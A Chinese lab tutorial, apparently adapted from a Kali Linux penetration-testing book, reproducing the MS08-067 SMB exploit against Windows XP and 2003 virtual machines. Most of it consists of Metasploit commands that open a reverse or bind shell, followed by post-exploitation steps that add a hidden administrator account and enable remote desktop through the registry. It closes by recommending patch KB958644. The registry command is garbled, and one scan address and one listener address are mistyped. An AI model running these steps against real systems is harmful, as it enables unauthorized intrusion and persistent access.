WinXP的MS08-067漏洞利用复现和解决方案

2020-08-24 17:41:59 浏览数 (1)

本期文章背景

本期文章由华章IT赞助,未经允许,禁止转发,本篇笔记内容来源于书籍《kali Linux 高级渗透测试》,如有需要,可以购买阅读。

本篇笔记作者:k0xx1 编辑:天均 排版:天均

漏洞利用前准备

寻找漏洞

·CVE https://cve.mitre.org/

Common Vulnerabilities & Exposures公共漏洞和暴露, 由MITRE 1999年发起以社区作为努力方向

·NVD https://nvd.nist.gov/

美国国家通用漏洞数据库,National Institute of Standards and Technology (NIST) 2005年发起.

·CNVD

CNVD是国家信息安全漏洞共享平台,英文是China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT则是工信部的下属单位。

·CNNVD http://www.cnnvd.org.cn/

CNNVD是中国国家信息安全漏洞库,英文名称China National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(一般简称国测,国测的主管单位是Security部),是中国信息安全测评中心为切实履行漏洞分析和风险评估的职能,负责建设运维的国家级信息安全漏洞库,为我国信息安全保障提供基础服务。

·MSRC https://docs.microsoft.com/en-us/security-updates/

Microsoft Security Response Center (微软安全应急响应中心)提供的 Security Advisories and Bulletins安全警告和公告

我们今天要介绍的就是MS08-067,看名称就可以知道,是在08年的第67个公告 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067

虚拟机安装
需要的文件

·各种虚拟机系统: 自备

·纯净版WinXPSP3:winxp-sp3 English(winxpensp3)

·Kali Linux 虚拟机文件: kali-linux-2020.2-vmware-amd64.7z (默认用户名密码不是root/toor而是kali/kali)

安装过程(略)

·记得将虚拟机的网卡都设置为桥接模式

·WinXP系统管理员(Administrator)密码可以设置为复杂密码

·WinXP初次启动画面选择不启动自动更新,第一个用户名随便填写

·WinXP启动后关闭Windows自带防火墙

·Kali如果不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。

·Kali使用默认的qterminal

·Kali中文支持

o打开终端

osudo dpkg-reconfigure locales里面选择en_US.UTF-8、zh_CN.GBK、zh_CN.UTF-8,用空格选定,用Tab选择OK回车

o默认环境可以选择zh_CN.UTF-8也可以选择en_US.UTF-8

o更新包为最新内容 sudo apt-get update ,有些人也可以选择更新到国内源,只是需要修改/etc/apt/sources.list的源内容,具体可以提issue询问如何修改

o安装默认桌面环境需要的字体sudo apt-get install xfonts-intl-chinese ttf-wqy-microhei

o重启Kali -> reboot

攻击者ip为192.168.1.102

被攻击的ip为192.168.1.128

03漏洞利用

先嗅探端口看看445端口开了没

看到确实开放了445端口也就是SMB

系统渗透

·进入msf终端

kali@kali:~$ msfconsole

·搜索ms08_067漏洞信息

msf5 > search ms08_067

·选择利用此漏洞

msf5 > use exploit/windows/smb/ms08_067_netapi

·设置payload

输入 show payloads

msf5 exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp

·设置target为XP2001

msf exploit(windows/smb/ms08_067_netapi) > set target 6

·设置目标机器IP地址

msf exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128"

·查看当前渗透选项

msf exploit(windows/smb/ms08_067_netapi) > show options

·开始渗透

这样就已经成功拿到Windows Shell

漏洞利用

创建Windows用户,用户名为someone 密码为12345678

命令 net user someone 12345678 /add

命令成功完成。

将用户someone加入管理员组

命令 net localgroup administrators someone /add

命令成功完成

·修改注册表开启远程访问

命令 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

操作成功结束

此时用netstat -an可以看到3389端口开启,说明已经有效了

这样我们可以用远程桌面连接了 例如

rdesktop 192.168.1.128

04 解决方案

升级到最新的Windows系统

安装KB958644补丁

Win2003的MS08-067漏洞利用复现和解决方案

漏洞利用前准备

寻找漏洞

·CVE https://cve.mitre.org/

Common Vulnerabilities & Exposures公共漏洞和暴露, 由MITRE 1999年发起以社区作为努力方向

·NVD https://nvd.nist.gov/

美国国家通用漏洞数据库,National Institute of Standards and Technology (NIST) 2005年发起.

·CNVD

CNVD是国家信息安全漏洞共享平台,英文是China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT则是工信部的下属单位。

·CNNVD http://www.cnnvd.org.cn/

CNNVD是中国国家信息安全漏洞库,英文名称China National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(一般简称国测,国测的主管单位是Security部),是中国信息安全测评中心为切实履行漏洞分析和风险评估的职能,负责建设运维的国家级信息安全漏洞库,为我国信息安全保障提供基础服务。

·MSRC https://docs.microsoft.com/en-us/security-updates/

Microsoft Security Response Center (微软安全应急响应中心)提供的 Security Advisories and Bulletins安全警告和公告

我们今天要介绍的就是MS08-067,看名称就可以知道,是在08年的第67个公告 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067

虚拟机安装
需要的文件

·各种虚拟机系统: 自备

·Win2003虚拟机:Win2K3 Metasploit

·Kali Linux 虚拟机文件: kali-linux-2020.2-vmware-amd64.7z (默认用户名密码不是root/toor而是kali/kali)

安装过程(略)

·记得将虚拟机的网卡都设置为桥接模式

·Win2003系统管理员(Administrator)密码可以设置为复杂密码

·Win2003初次启动画面选择不启动自动更新,第一个用户名随便填写

·Win2003启动后关闭Windows自带防火墙

·Kali如果不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。

·Kali使用xfce Terminal而不是默认的qterminal

0x03 漏洞利用

机器地址

攻击者ip 192.168.1.105

被攻者IP 192.168.1.128

嗅探端口,看看445端口开放没

kali@kali:~$ nmap -PS 192.138.1.128

看到确实开放了445端口也就是SMB

系统渗透

·进入msf终端

kali@kali:~$ msfconsole

·搜索ms08_067漏洞信息

msf5 > search ms08_067

·选择利用此漏洞

msf5 > use exploit/windows/smb/ms08_067_netapi

·设置payload

msf5 exploit(windows/smb/ms08_067_netapi) > set payload "generic/shell_bind_tcp"

·设置target为win2003-english,我这里不知道他是哪个所以填0

msf5 exploit(windows/smb/ms08_067_netapi) > set target 0

·设置目标机器和被攻击机器IP地址RHOST-被攻击LHOST-攻击机器

msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128"

msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST"192.168.1.108"

·查看当前渗透选项

msf5 exploit(windows/smb/ms08_067_netapi) > show options

开始渗透

这样就已经成功拿到Windows Shell

漏洞利用

创建Windows用户,用户名为someone 密码为12345678

命令 net user someone 12345678 /add

命令成功完成

将用户someone加入管理员组

命令net localgroup administrators someone /add

命令成功完成。

修改注册表开启远程访问

命令REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

操作成功结束

此时用netstat -an可以看到3389端口开启,说明已经有效了

这样我们可以用远程桌面连接了 例如

rdesktop 192.168.1.128

0x04 解决方案

升级到最新的Windows系统

安装KB958644补丁

0 人点赞